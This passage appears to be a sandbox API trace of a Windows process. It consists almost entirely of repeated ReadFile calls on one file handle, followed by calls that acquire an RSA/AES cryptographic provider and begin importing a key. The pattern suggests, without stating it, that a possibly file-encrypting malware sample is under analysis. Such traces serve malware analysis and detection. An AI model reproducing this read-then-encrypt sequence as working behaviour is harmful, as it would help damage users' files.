nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.530] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.530] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.530] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.530] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.530] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.530] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.530] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.530] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.531] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.531] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.531] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.531] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.531] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.531] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.531] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.532] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.532] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.532] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.532] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.532] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.532] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.532] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.533] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.533] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.533] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.533] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.533] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.533] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.533] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.533] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.534] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.534] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.534] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.534] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.534] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.534] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.534] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.535] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.535] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.535] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.536] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.536] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.536] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.536] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.536] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.536] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.537] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.537] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.537] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.537] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.537] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.537] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.537] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.538] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.538] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.538] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.538] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.538] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.538] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.538] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.538] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.538] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.539] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.539] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.539] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.539] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.539] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.539] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.539] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.540] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.540] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.540] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.540] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.540] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.540] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.540] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.540] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.541] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.541] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.541] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.541] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.541] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.541] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.845] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.845] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.845] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.846] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.846] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.846] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.846] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.846] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.846] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.846] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.847] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.847] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.847] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0189.434] CryptAcquireContextW (in: phProv=0x1dd9c948, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1dd9c948*=0x1b1d2470) returned 1 [0189.436] CryptImportKey (in: hProv=0x1b1d2470, pbData=0x26cdc28*, dwDataLen=0x1c, hPubKey=0x0, 